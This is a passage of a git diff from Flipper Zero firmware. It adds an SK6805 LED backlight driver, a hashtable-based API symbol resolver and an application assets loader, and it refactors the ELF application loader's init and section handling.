terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +#include "SK6805.h" +#include + +/* Настройки */ +#define SK6805_LED_COUNT 3 //ΠšΠΎΠ»ΠΈΡ‡Π΅ΡΡ‚Π²ΠΎ свСтодиодов Π½Π° ΠΏΠ»Π°Ρ‚Π΅ подсвСтки +#define SK6805_LED_PIN &led_pin //ΠŸΠΎΡ€Ρ‚ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ свСтодиодов + +#ifdef FURI_DEBUG +#define DEBUG_PIN &gpio_ext_pa7 +#define DEBUG_INIT() \ + furi_hal_gpio_init(DEBUG_PIN, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh) +#define DEBUG_SET_HIGH() furi_hal_gpio_write(DEBUG_PIN, true) +#define DEBUG_SET_LOW() furi_hal_gpio_write(DEBUG_PIN, false) +#else +#define DEBUG_INIT() +#define DEBUG_SET_HIGH() +#define DEBUG_SET_LOW() +#endif + +static const GpioPin led_pin = {.port = GPIOA, .pin = LL_GPIO_PIN_8}; +static uint8_t led_buffer[SK6805_LED_COUNT][3]; + +void SK6805_init(void) { + DEBUG_INIT(); + furi_hal_gpio_write(SK6805_LED_PIN, false); + furi_hal_gpio_init(SK6805_LED_PIN, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); +} + +uint8_t SK6805_get_led_count(void) { + return (const uint8_t)SK6805_LED_COUNT; +} +void SK6805_set_led_color(uint8_t led_index, uint8_t r, uint8_t g, uint8_t b) { + furi_check(led_index < SK6805_LED_COUNT); + + led_buffer[led_index][0] = g; + led_buffer[led_index][1] = r; + led_buffer[led_index][2] = b; +} + +void SK6805_update(void) { + SK6805_init(); + furi_kernel_lock(); + uint32_t end; + /* ΠŸΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½Π°Ρ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ° Ρ†Π²Π΅Ρ‚ΠΎΠ² свСтодиодов */ + for(uint8_t lednumber = 0; lednumber < SK6805_LED_COUNT; lednumber++) { + //ΠŸΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½Π°Ρ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ° Ρ†Π²Π΅Ρ‚ΠΎΠ² свСтодиода + for(uint8_t color = 0; color < 3; color++) { + //ΠŸΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½Π°Ρ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ° Π±ΠΈΡ‚ΠΎΠ² Ρ†Π²Π΅Ρ‚Π° + uint8_t i = 0b10000000; + while(i != 0) { + if(led_buffer[lednumber][color] & (i)) { + furi_hal_gpio_write(SK6805_LED_PIN, true); + DEBUG_SET_HIGH(); + end = DWT->CYCCNT + 30; + //T1H 600 us (615 us) + while(DWT->CYCCNT < end) { + } + furi_hal_gpio_write(SK6805_LED_PIN, false); + DEBUG_SET_LOW(); + end = DWT->CYCCNT + 26; + //T1L 600 us (587 us) + while(DWT->CYCCNT < end) { + } + } else { + furi_hal_gpio_write(SK6805_LED_PIN, true); + DEBUG_SET_HIGH(); + end = DWT->CYCCNT + 11; + //T0H 300 ns (312 ns) + while(DWT->CYCCNT < end) { + } + furi_hal_gpio_write(SK6805_LED_PIN, false); + DEBUG_SET_LOW(); + end = DWT->CYCCNT + 43; + //T0L 900 ns (890 ns) + while(DWT->CYCCNT < end) { + } + } + i >>= 1; + } + } + } + furi_kernel_unlock(); +} diff --git a/lib/drivers/SK6805.h b/lib/drivers/SK6805.h new file mode 100644 index 000000000..7c58956fa --- /dev/null +++ b/lib/drivers/SK6805.h @@ -0,0 +1,51 @@ +/* + SK6805 FlipperZero driver + Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +#ifndef SK6805_H_ +#define SK6805_H_ + +#include + +/** + * @brief Π˜Π½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΡ Π»ΠΈΠ½ΠΈΠΈ управлСния подсвСткой + */ +void SK6805_init(void); + +/** + * @brief ΠŸΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ количСство свСтодиодов Π² подсвСткС + * + * @return ΠšΠΎΠ»ΠΈΡ‡Π΅ΡΡ‚Π²ΠΎ свСтодиодов + */ +uint8_t SK6805_get_led_count(void); + +/** + * @brief Π£ΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Ρ†Π²Π΅Ρ‚ свСчСния свСтодиода + * + * @param led_index Π½ΠΎΠΌΠ΅Ρ€ свСтодиода (ΠΎΡ‚ 0 Π΄ΠΎ SK6805_get_led_count()) + * @param r Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ красного (0-255) + * @param g Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π·Π΅Π»Ρ‘Π½ΠΎΠ³ΠΎ (0-255) + * @param b Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ синСго (0-255) + */ +void SK6805_set_led_color(uint8_t led_index, uint8_t r, uint8_t g, uint8_t b); + +/** + * @brief ОбновлСниС состояния подсвСтки дисплСя + */ +void SK6805_update(void); + +#endif /* SK6805_H_ */ \ No newline at end of file diff --git a/lib/err.h b/lib/err.h new file mode 100644 index 000000000..a0e93874e --- /dev/null +++ b/lib/err.h @@ -0,0 +1,4 @@ +#pragma once +#include + +#define err(...) FURI_LOG_E("Heatshrink", "Error: %d-%s", __VA_ARGS__) \ No newline at end of file diff --git a/lib/flipper_application/SConscript b/lib/flipper_application/SConscript index 9fbbf95d1..d253cc82c 100644 --- a/lib/flipper_application/SConscript +++ b/lib/flipper_application/SConscript @@ -6,6 +6,10 @@ env.Append( ], SDK_HEADERS=[ File("flipper_application.h"), + File("plugins/plugin_manager.h"), + File("plugins/composite_resolver.h"), + File("api_hashtable/api_hashtable.h"), + File("api_hashtable/compilesort.hpp"), ], ) @@ -14,6 +18,7 @@ libenv = env.Clone(FW_LIB_NAME="flipper_application") libenv.ApplyLibFlags() sources = libenv.GlobRecursive("*.c") +sources.append(File("api_hashtable/api_hashtable.cpp")) lib = libenv.StaticLibrary("${FW_LIB_NAME}", sources) libenv.Install("${LIB_DIST_DIR}", lib) diff --git a/lib/flipper_application/api_hashtable/api_hashtable.cpp b/lib/flipper_application/api_hashtable/api_hashtable.cpp new file mode 100644 index 000000000..022792dce --- /dev/null +++ b/lib/flipper_application/api_hashtable/api_hashtable.cpp @@ -0,0 +1,38 @@ +#include "api_hashtable.h" + +#include +#include + +#define TAG "hashtable_api" + +bool elf_resolve_from_hashtable( + const ElfApiInterface* interface, + const char* name, + Elf32_Addr* address) { + const HashtableApiInterface* hashtable_interface = + static_cast(interface); + bool result = false; + uint32_t gnu_sym_hash = elf_gnu_hash(name); + + sym_entry key = { + .hash = gnu_sym_hash, + .address = 0, + }; + + auto find_res = + std::lower_bound(hashtable_interface->table_cbegin, hashtable_interface->table_cend, key); + if((find_res == hashtable_interface->table_cend || (find_res->hash != gnu_sym_hash))) { + FURI_LOG_W( + TAG, + "Can't find symbol '%s' (hash %lx) @ %p!", + name, + gnu_sym_hash, + hashtable_interface->table_cbegin); + result = false; + } else { + result = true; + *address = find_res->address; + } + + return result; +} diff --git a/lib/flipper_application/api_hashtable/api_hashtable.h b/lib/flipper_application/api_hashtable/api_hashtable.h new file mode 100644 index 000000000..7e4b4aba1 --- /dev/null +++ b/lib/flipper_application/api_hashtable/api_hashtable.h @@ -0,0 +1,85 @@ +#pragma once + +#include + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * @brief Symbol table entry + */ +struct sym_entry { + uint32_t hash; + uint32_t address; +}; + +/** + * @brief Resolver for API entries using a pre-sorted table with hashes + * @param interface pointer to HashtableApiInterface + * @param name function name + * @param address output for function address + * @return true if the table contains a function + */ +bool elf_resolve_from_hashtable( + const ElfApiInterface* interface, + const char* name, + Elf32_Addr* address); + +#ifdef __cplusplus +} + +#include +#include + +/** + * @brief HashtableApiInterface is an implementation of ElfApiInterface + * that uses a hash table to resolve function addresses. + * table_cbegin and table_cend must point to a sorted array of sym_entry + */ +struct HashtableApiInterface : public ElfApiInterface { + const sym_entry *table_cbegin, *table_cend; +}; + +#define API_METHOD(x, ret_type, args_type) \ + sym_entry { \ + .hash = elf_gnu_hash(#x), .address = (uint32_t)(static_cast(x)) \ + } + +#define API_VARIABLE(x, var_type) \ + sym_entry { .hash = elf_gnu_hash(#x), .address = (uint32_t)(&(x)), } + +constexpr bool operator<(const sym_entry& k1, const sym_entry& k2) { + return k1.hash < k2.hash; +} + +/** + * @brief Calculate hash for a string using the ELF GNU hash algorithm + * @param s string to calculate hash for + * @return hash value + */ +constexpr uint32_t elf_gnu_hash(const char* s) { + uint32_t h = 0x1505; + for(unsigned char c = *s; c != '\0'; c = *++s) { + h = (h << 5) + h + c; + } + return h; +} + +/* Compile-time check for hash collisions in API table. + * Usage: static_assert(!has_hash_collisions(api_methods), "Hash collision detected"); + */ +template +constexpr bool has_hash_collisions(const std::array& api_methods) { + for(std::size_t i = 0; i < (N - 1); ++i) { + if(api_methods[i].hash == api_methods[i + 1].hash) { + return true; + } + } + + return false; +} + +#endif \ No newline at end of file diff --git a/applications/main/fap_loader/elf_cpp/compilesort.hpp b/lib/flipper_application/api_hashtable/compilesort.hpp similarity index 99% rename from applications/main/fap_loader/elf_cpp/compilesort.hpp rename to lib/flipper_application/api_hashtable/compilesort.hpp index 746611697..9737fd022 100644 --- a/applications/main/fap_loader/elf_cpp/compilesort.hpp +++ b/lib/flipper_application/api_hashtable/compilesort.hpp @@ -4,6 +4,8 @@ #pragma once +#ifdef __cplusplus + #include #include @@ -109,3 +111,5 @@ constexpr auto create_array_t(const Ts&&... values) { static_assert(traits::are_same_type(), "all elements must have same type"); return std::array{static_cast(values)...}; } + +#endif diff --git a/lib/flipper_application/application_assets.c b/lib/flipper_application/application_assets.c new file mode 100644 index 000000000..1262870d5 --- /dev/null +++ b/lib/flipper_application/application_assets.c @@ -0,0 +1,361 @@ +#include "application_assets.h" +#include +#include + +// #define ELF_ASSETS_DEBUG_LOG 1 + +#ifndef ELF_ASSETS_DEBUG_LOG +#undef FURI_LOG_D +#define FURI_LOG_D(...) +#undef FURI_LOG_E +#define FURI_LOG_E(...) +#endif + +#define FLIPPER_APPLICATION_ASSETS_MAGIC 0x4F4C5A44 +#define FLIPPER_APPLICATION_ASSETS_VERSION 1 +#define FLIPPER_APPLICATION_ASSETS_SIGNATURE_FILENAME ".assets.signature" + +#define BUFFER_SIZE 512 + +#define TAG "fap_assets" + +#pragma pack(push, 1) + +typedef struct { + uint32_t magic; + uint32_t version; + uint32_t dirs_count; + uint32_t files_count; +} FlipperApplicationAssetsHeader; + +#pragma pack(pop) + +typedef enum { + AssetsSignatureResultEqual, + AssetsSignatureResultNotEqual, + AssetsSignatureResultError, +} AssetsSignatureResult; + +static FuriString* flipper_application_assets_alloc_app_full_path(FuriString* app_name) { + furi_assert(app_name); + FuriString* full_path = furi_string_alloc_set(APPS_ASSETS_PATH "/"); + furi_string_cat(full_path, app_name); + return full_path; +} + +static FuriString* flipper_application_assets_alloc_signature_file_path(FuriString* app_name) { + furi_assert(app_name); + FuriString* signature_file_path = flipper_application_assets_alloc_app_full_path(app_name); + furi_string_cat(signature_file_path, "/" FLIPPER_APPLICATION_ASSETS_SIGNATURE_FILENAME); + + return signature_file_path; +} + +static uint8_t* flipper_application_assets_alloc_and_load_data(File* file, size_t* size) { + furi_assert(file); + + uint8_t* data = NULL; + uint32_t length = 0; + + // read data length + if(storage_file_read(file, &length, sizeof(length)) != sizeof(length)) { + return NULL; + } + + data = malloc(length); + + // read data + if(storage_file_read(file, (void*)data, length) != length) { + free((void*)data); + return NULL; + } + + if(size != NULL) { + *size = length; + } + + return data; +} + +static bool flipper_application_assets_process_files( + Storage* storage, + File* file, + FuriString* app_name, + uint32_t files_count) { + furi_assert(storage); + furi_assert(file); + furi_assert(app_name); + + UNUSED(storage); + + bool success = false; + uint32_t length = 0; + char* path = NULL; + FuriString* file_path = furi_string_alloc(); + File* destination = storage_file_alloc(storage); + + FuriString* full_path = flipper_application_assets_alloc_app_full_path(app_name); + + for(uint32_t i = 0; i < files_count; i++) { + path = (char*)flipper_application_assets_alloc_and_load_data(file, NULL); + + if(path == NULL) { + break; + } + + // read file size + if(storage_file_read(file, &length, sizeof(length)) != sizeof(length)) { + break; + } + + furi_string_set(file_path, full_path); + furi_string_cat(file_path, "/"); + furi_string_cat(file_path, path); + + if(!storage_file_open( + destination, furi_string_get_cstr(file_path), FSAM_WRITE, FSOM_CREATE_ALWAYS)) { + FURI_LOG_E(TAG, "Can't create file: %s", furi_string_get_cstr(file_path)); + break; + } + + // copy data to file + if(!storage_file_copy_to_file(file, destination, length)) { + FURI_LOG_E(TAG, "Can't copy data to file: %s", furi_string_get_cstr(file_path)); + break; + } + + storage_file_close(destination); + + free(path); + path = NULL; + + if(i == files_count - 1) { + success = true; + } + } + + if(path != NULL) { + free(path); + } + + storage_file_free(destination); + furi_string_free(file_path); + + return success; +} + +static bool flipper_application_assets_process_dirs( + Storage* storage, + File* file, + FuriString* app_name, + uint32_t dirs_count) { + furi_assert(storage); + furi_assert(file); + furi_assert(app_name); + + bool success = false; + FuriString* full_path = flipper_application_assets_alloc_app_full_path(app_name); + + do { + if(!storage_simply_mkdir(storage, APPS_ASSETS_PATH)) { + break; + } + + if(!storage_simply_mkdir(storage, furi_string_get_cstr(full_path))) { + break; + } + + FuriString* dir_path = furi_string_alloc(); + char* path = NULL; + + for(uint32_t i = 0; i < dirs_count; i++) { + path = (char*)flipper_application_assets_alloc_and_load_data(file, NULL); + + if(path == NULL) { + break; + } + + furi_string_set(dir_path, full_path); + furi_string_cat(dir_path, "/"); + furi_string_cat(dir_path, path); + + if(!storage_simply_mkdir(storage, furi_string_get_cstr(dir_path))) { + FURI_LOG_E(TAG, "Can't create directory: %s", furi_string_get_cstr(dir_path)); + break; + } + + free(path); + path = NULL; + + if(i == dirs_count - 1) { + success = true; + } + } + + if(path != NULL) { + free(path); + } + + furi_string_free(dir_path); + } while(false); + + furi_string_free(full_path); + + return success; +} + +static AssetsSignatureResult flipper_application_assets_process_signature( + Storage* storage, + File* file, + FuriString* app_name, + uint8_t** signature_data, + size_t* signature_data_size) { + furi_assert(storage); + furi_assert(file); + furi_assert(app_name); + furi_assert(signature_data); + furi_assert(signature_data_size); + + AssetsSignatureResult result = AssetsSignatureResultError; + File* signature_file = storage_file_alloc(storage); + FuriString* signature_file_path = + flipper_application_assets_alloc_signature_file_path(app_name); + + do { + // read signature + *signature_data = + flipper_application_assets_alloc_and_load_data(file, signature_data_size); + + if(*signature_data == NULL) { //-V547 + FURI_LOG_E(TAG, "Can't read signature"); + break; + } + + result = AssetsSignatureResultNotEqual; + + if(!storage_file_open( + signature_file, + furi_string_get_cstr(signature_file_path), + FSAM_READ_WRITE, + FSOM_OPEN_EXISTING)) { + FURI_LOG_E(TAG, "Can't open signature file"); + break; + } + + size_t signature_size = storage_file_size(signature_file); + uint8_t* signature_file_data = malloc(signature_size); + if(storage_file_read(signature_file, signature_file_data, signature_size) != + signature_size) { + FURI_LOG_E(TAG, "Can't read signature file"); + free(signature_file_data); + break; + } + + if(memcmp(*signature_data, signature_file_data, signature_size) == 0) { + FURI_LOG_D(TAG, "Assets signature is equal"); + result = AssetsSignatureResultEqual; + } + + free(signature_file_data); + } while(0); + + storage_file_free(signature_file); + furi_string_free(signature_file_path); + + return result; +} + +bool flipper_application_assets_load(File* file, const char* elf_path, size_t offset, size_t size) { + UNUSED(size); + furi_assert(file); + furi_assert(elf_path); + FlipperApplicationAssetsHeader header; + bool result = false; + Storage* storage = furi_record_open(RECORD_STORAGE); + uint8_t* signature_data = NULL; + size_t signature_data_size = 0; + FuriString* app_name = furi_string_alloc(); + path_extract_filename_no_ext(elf_path, app_name); + + FURI_LOG_D(TAG, "Loading assets for %s", furi_string_get_cstr(app_name)); + + do { + if(!storage_file_seek(file, offset, true)) { + break; + } + + // read header + if(storage_file_read(file, &header, sizeof(header)) != sizeof(header)) { + break; + } + + if(header.magic != FLIPPER_APPLICATION_ASSETS_MAGIC) { + break; + } + + if(header.version != FLIPPER_APPLICATION_ASSETS_VERSION) { + break; + } + + // process signature + AssetsSignatureResult signature_result = flipper_application_assets_process_signature( + storage, file, app_name, &signature_data, &signature_data_size); + + if(signature_result == AssetsSignatureResultError) { + FURI_LOG_E(TAG, "Assets signature error"); + break; + } else if(signature_result == AssetsSignatureResultEqual) { + FURI_LOG_D(TAG, "Assets signature equal, skip loading"); + result = true; + break; + } else { + FURI_LOG_D(TAG, "Assets signature not equal, loading"); + + // remove old assets + FuriString* full_path = flipper_application_assets_alloc_app_full_path(app_name); + storage_simply_remove_recursive(storage, furi_string_get_cstr(full_path)); + furi_string_free(full_path); + + FURI_LOG_D(TAG, "Assets removed"); + } + + // process directories + if(!flipper_application_assets_process_dirs(storage, file, app_name, header.dirs_count)) { + break; + } + + // process files + if(!flipper_application_assets_process_files(storage, file, app_name, header.files_count)) { + break; + } + + // write signature + FuriString* signature_file_path = + flipper_application_assets_alloc_signature_file_path(app_name); + File* signature_file = storage_file_alloc(storage); + + if(storage_file_open( + signature_file, + furi_string_get_cstr(signature_file_path), + FSAM_WRITE, + FSOM_CREATE_ALWAYS)) { + storage_file_write(signature_file, signature_data, signature_data_size); + } + + storage_file_free(signature_file); + furi_string_free(signature_file_path); + + result = true; + } while(false); + + if(signature_data != NULL) { + free(signature_data); + } + + furi_record_close(RECORD_STORAGE); + furi_string_free(app_name); + + FURI_LOG_D(TAG, "Assets loading %s", result ? "success" : "failed"); + + return result; +} \ No newline at end of file diff --git a/lib/flipper_application/application_assets.h b/lib/flipper_application/application_assets.h new file mode 100644 index 000000000..83bb14fb6 --- /dev/null +++ b/lib/flipper_application/application_assets.h @@ -0,0 +1,17 @@ +/** + * @file application_assets.h + * Flipper application assets + */ +#pragma once + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +bool flipper_application_assets_load(File* file, const char* elf_path, size_t offset, size_t size); + +#ifdef __cplusplus +} +#endif diff --git a/lib/flipper_application/elf/elf_api_interface.h b/lib/flipper_application/elf/elf_api_interface.h index ca31fc483..f07df4edb 100644 --- a/lib/flipper_application/elf/elf_api_interface.h +++ b/lib/flipper_application/elf/elf_api_interface.h @@ -3,10 +3,14 @@ #include #include -#define ELF_INVALID_ADDRESS 0xFFFFFFFF - -typedef struct { +/** + * @brief Interface for ELF loader to resolve symbols + */ +typedef struct ElfApiInterface { uint16_t api_version_major; uint16_t api_version_minor; - bool (*resolver_callback)(const char* name, Elf32_Addr* address); + bool (*resolver_callback)( + const struct ElfApiInterface* interface, + const char* name, + Elf32_Addr* address); } ElfApiInterface; diff --git a/lib/flipper_application/elf/elf_file.c b/lib/flipper_application/elf/elf_file.c index 64d5755ef..0338144a9 100644 --- a/lib/flipper_application/elf/elf_file.c +++ b/lib/flipper_application/elf/elf_file.c @@ -17,6 +17,8 @@ #define FURI_LOG_D(...) #endif +#define ELF_INVALID_ADDRESS 0xFFFFFFFF + #define TRAMPOLINE_CODE_SIZE 6 /** @@ -166,7 +168,7 @@ static ELFSection* elf_section_of(ELFFile* elf, int index) { static Elf32_Addr elf_address_of(ELFFile* elf, Elf32_Sym* sym, const char* sName) { if(sym->st_shndx == SHN_UNDEF) { Elf32_Addr addr = 0; - if(elf->api_interface->resolver_callback(sName, &addr)) { + if(elf->api_interface->resolver_callback(elf->api_interface, sName, &addr)) { return addr; } } else { @@ -241,7 +243,7 @@ static void elf_relocate_jmp_call(ELFFile* elf, Elf32_Addr relAddr, int type, El if(to_thumb || (symAddr & 2) || (!is_call)) { FURI_LOG_D( TAG, - "can't relocate value at %x, %s, doing trampoline", + "can't relocate value at %lx, %s, doing trampoline", relAddr, elf_reloc_type_to_str(type)); @@ -421,29 +423,11 @@ typedef enum { SectionTypeRelData = 1 << 2, SectionTypeSymTab = 1 << 3, SectionTypeStrTab = 1 << 4, - SectionTypeManifest = 1 << 5, - SectionTypeDebugLink = 1 << 6, + SectionTypeDebugLink = 1 << 5, - SectionTypeValid = SectionTypeSymTab | SectionTypeStrTab | SectionTypeManifest, + SectionTypeValid = SectionTypeSymTab | SectionTypeStrTab, } SectionType; -static bool elf_load_metadata( - ELFFile* elf, - Elf32_Shdr* section_header, - FlipperApplicationManifest* manifest) { - if(section_header->sh_size < sizeof(FlipperApplicationManifest)) { - return false; - } - - if(manifest == NULL) { - return true; - } - - return storage_file_seek(elf->fd, section_header->sh_offset, true) && - storage_file_read(elf->fd, manifest, section_header->sh_size) == - section_header->sh_size; -} - static bool elf_load_debug_link(ELFFile* elf, Elf32_Shdr* section_header) { elf->debug_link_info.debug_link_size = section_header->sh_size; elf->debug_link_info.debug_link = malloc(section_header->sh_size); @@ -478,7 +462,7 @@ static bool elf_load_section_data(ELFFile* elf, ELFSection* section, Elf32_Shdr* return false; } - FURI_LOG_D(TAG, "0x%X", section->data); + FURI_LOG_D(TAG, "0x%p", section->data); return true; } @@ -486,8 +470,7 @@ static SectionType elf_preload_section( ELFFile* elf, size_t section_idx, Elf32_Shdr* section_header, - FuriString* name_string, - FlipperApplicationManifest* manifest) { + FuriString* name_string) { const char* name = furi_string_get_cstr(name_string); #ifdef ELF_DEBUG_LOG @@ -533,10 +516,13 @@ static SectionType elf_preload_section( section_p->sec_idx = section_idx; if(section_header->sh_type == SHT_PREINIT_ARRAY) { + furi_assert(elf->preinit_array == NULL); elf->preinit_array = section_p; } else if(section_header->sh_type == SHT_INIT_ARRAY) { + furi_assert(elf->init_array == NULL); elf->init_array = section_p; } else if(section_header->sh_type == SHT_FINI_ARRAY) { + furi_assert(elf->fini_array == NULL); elf->fini_array = section_p; } @@ -572,16 +558,6 @@ static SectionType elf_preload_section( return SectionTypeStrTab; } - // Load manifest section - if(strcmp(name, ".fapmeta") == 0) { - FURI_LOG_D(TAG, "Found .fapmeta section"); - if(elf_load_metadata(elf, section_header, manifest)) { - return SectionTypeManifest; - } else { - return SectionTypeERROR; - } - } - // Load debug link section if(strcmp(name, ".gnu_debuglink") == 0) { FURI_LOG_D(TAG, "Found .gnu_debuglink section"); @@ -634,10 +610,17 @@ ELFFile* elf_file_alloc(Storage* storage, const ElfApiInterface* api_interface) elf->api_interface = api_interface; ELFSectionDict_init(elf->sections); AddressCache_init(elf->trampoline_cache); + elf->init_array_called = false; return elf; } void elf_file_free(ELFFile* elf) { + // furi_check(!elf->init_array_called); + if(elf->init_array_called) { + FURI_LOG_W(TAG, "Init array was called, but fini array wasn't"); + elf_file_call_section_list(elf->fini_array, true); + } + // free sections data { ELFSectionDict_it_t it; @@ -692,41 +675,12 @@ bool elf_file_open(ELFFile* elf, const char* path) { return true; } -bool elf_file_load_manifest(ELFFile* elf, FlipperApplicationManifest* manifest) { - bool result = false; - FuriString* name; - name = furi_string_alloc(); - - FURI_LOG_D(TAG, "Looking for manifest section"); - for(size_t section_idx = 1; section_idx < elf->sections_count; section_idx++) { - Elf32_Shdr section_header; - - furi_string_reset(name); - if(!elf_read_section(elf, section_idx, §ion_header, name)) { - break; - } - - if(furi_string_cmp(name, ".fapmeta") == 0) { - if(elf_load_metadata(elf, §ion_header, manifest)) { - FURI_LOG_D(TAG, "Load manifest done"); - result = true; - break; - } else { - break; - } - } - } - - furi_string_free(name); - return result; -} - -bool elf_file_load_section_table(ELFFile* elf, FlipperApplicationManifest* manifest) { +bool elf_file_load_section_table(ELFFile* elf) { SectionType loaded_sections = SectionTypeERROR; - FuriString* name; - name = furi_string_alloc(); + FuriString* name = furi_string_alloc(); FURI_LOG_D(TAG, "Scan ELF indexs..."); + // TODO: why we start from 1? for(size_t section_idx = 1; section_idx < elf->sections_count; section_idx++) { Elf32_Shdr section_header; @@ -738,8 +692,7 @@ bool elf_file_load_section_table(ELFFile* elf, FlipperApplicationManifest* manif FURI_LOG_D( TAG, "Preloading data for section #%d %s", section_idx, furi_string_get_cstr(name)); - SectionType section_type = - elf_preload_section(elf, section_idx, §ion_header, name, manifest); + SectionType section_type = elf_preload_section(elf, section_idx, §ion_header, name); loaded_sections |= section_type; if(section_type == SectionTypeERROR) { @@ -753,14 +706,49 @@ bool elf_file_load_section_table(ELFFile* elf, FlipperApplicationManifest* manif return IS_FLAGS_SET(loaded_sections, SectionTypeValid); } +ElfProcessSectionResult elf_process_section( + ELFFile* elf, + const char* name, + ElfProcessSection* process_section, + void* context) { + ElfProcessSectionResult result = ElfProcessSectionResultNotFound; + FuriString* section_name = furi_string_alloc(); + Elf32_Shdr section_header; + + // find section + // TODO: why we start from 1? + for(size_t section_idx = 1; section_idx < elf->sections_count; section_idx++) { + furi_string_reset(section_name); + if(!elf_read_section(elf, section_idx, §ion_header, section_name)) { + break; + } + + if(furi_string_cmp(section_name, name) == 0) { + result = ElfProcessSectionResultCannotProcess; + break; + } + } + + if(result != ElfProcessSectionResultNotFound) { //-V547 + if(process_section(elf->fd, section_header.sh_offset, section_header.sh_size, context)) { + result = ElfProcessSectionResultSuccess; + } else { + result = ElfProcessSectionResultCannotProcess; + } + } + + furi_string_free(section_name); + + return result; +} + ELFFileLoadStatus elf_file_load_sections(ELFFile* elf) { ELFFileLoadStatus status = ELFFileLoadStatusSuccess; ELFSectionDict_it_t it; AddressCache_init(elf->relocation_cache); - for(ELFSectionDict_it(it, elf->sections); !ELFSectionDict_end_p(it); - ELFSectionDict_next(it)) { + for(ELFSectionDict_it(it, elf->sections); !ELFSectionDict_end_p(it); ELFSectionDict_next(it)) { ELFSectionDict_itref_t* itref = ELFSectionDict_ref(it); FURI_LOG_D(TAG, "Relocating section '%s'", itref->key); if(!elf_relocate_section(elf, &itref->value)) { @@ -798,19 +786,26 @@ ELFFileLoadStatus elf_file_load_sections(ELFFile* elf) { return status; } -void elf_file_pre_run(ELFFile* elf) { +void elf_file_call_init(ELFFile* elf) { + furi_check(!elf->init_array_called); elf_file_call_section_list(elf->preinit_array, false); elf_file_call_section_list(elf->init_array, false); + elf->init_array_called = true; } -int32_t elf_file_run(ELFFile* elf, void* args) { - int32_t result; - result = ((int32_t(*)(void*))elf->entry)(args); - return result; +bool elf_file_is_init_complete(ELFFile* elf) { + return elf->init_array_called; } -void elf_file_post_run(ELFFile* elf) { +void* elf_file_get_entry_point(ELFFile* elf) { + furi_check(elf->init_array_called); + return (void*)elf->entry; +} + +void elf_file_call_fini(ELFFile* elf) { + furi_check(elf->init_array_called); elf_file_call_section_list(elf->fini_array, true); + elf->init_array_called = false; } const ElfApiInterface* elf_file_get_api_interface(ELFFile* elf_file) { @@ -835,8 +830,9 @@ void elf_file_init_debug_info(ELFFile* elf, ELFDebugInfo* debug_info) { const void* data_ptr = itref->value.data; if(data_ptr) { - debug_info->mmap_entries[mmap_entry_idx].address = (uint32_t)data_ptr; - debug_info->mmap_entries[mmap_entry_idx].name = itref->key; + ELFMemoryMapEntry* entry = &debug_info->mmap_entries[mmap_entry_idx]; + entry->address = (uint32_t)data_ptr; + entry->name = itref->key; mmap_entry_idx++; } } diff --git a/lib/flipper_application/elf/elf_file.h b/lib/flipper_application/elf/elf_file.h index 673f165cc..631fe122f 100644 --- a/lib/flipper_application/elf/elf_file.h +++ b/lib/flipper_application/elf/elf_file.h @@ -37,6 +37,14 @@ typedef enum { ELFFileLoadStatusMissingImports, } ELFFileLoadStatus; +typedef enum { + ElfProcessSectionResultNotFound, + ElfProcessSectionResultCannotProcess, + ElfProcessSectionResultSuccess, +} ElfProcessSectionResult; + +typedef bool(ElfProcessSection)(File* file, size_t offset, size_t size, void* context); + /** * @brief Allocate ELFFile instance * @param storage @@ -59,21 +67,12 @@ void elf_file_free(ELFFile* elf_file); */ bool elf_file_open(ELFFile* elf_file, const char* path); -/** - * @brief Load ELF file manifest - * @param elf - * @param manifest - * @return bool - */ -bool elf_file_load_manifest(ELFFile* elf, FlipperApplicationManifest* manifest); - /** * @brief Load ELF file section table (load stage #1) * @param elf_file - * @param manifest * @return bool */ -bool elf_file_load_section_table(ELFFile* elf_file, FlipperApplicationManifest* manifest); +bool elf_file_load_section_table(ELFFile* elf_file); /** * @brief Load and relocate ELF file sections (load stage #2) @@ -83,24 +82,34 @@ bool elf_file_load_section_table(ELFFile* elf_file, FlipperApplicationManifest* ELFFileLoadStatus elf_file_load_sections(ELFFile* elf_file); /** - * @brief Execute ELF file pre-run stage, call static constructors for example (load stage #3) + * @brief Execute ELF file pre-run stage, + * call static constructors for example (load stage #3) + * Must be done before invoking any code from the ELF file * @param elf */ -void elf_file_pre_run(ELFFile* elf); +void elf_file_call_init(ELFFile* elf); /** - * @brief Run ELF file (load stage #4) + * @brief Check if ELF file pre-run stage was executed and its code is runnable + * @param elf + */ +bool elf_file_is_init_complete(ELFFile* elf); + +/** + * @brief Get actual entry point for ELF file * @param elf_file * @param args * @return int32_t */ -int32_t elf_file_run(ELFFile* elf_file, void* args); 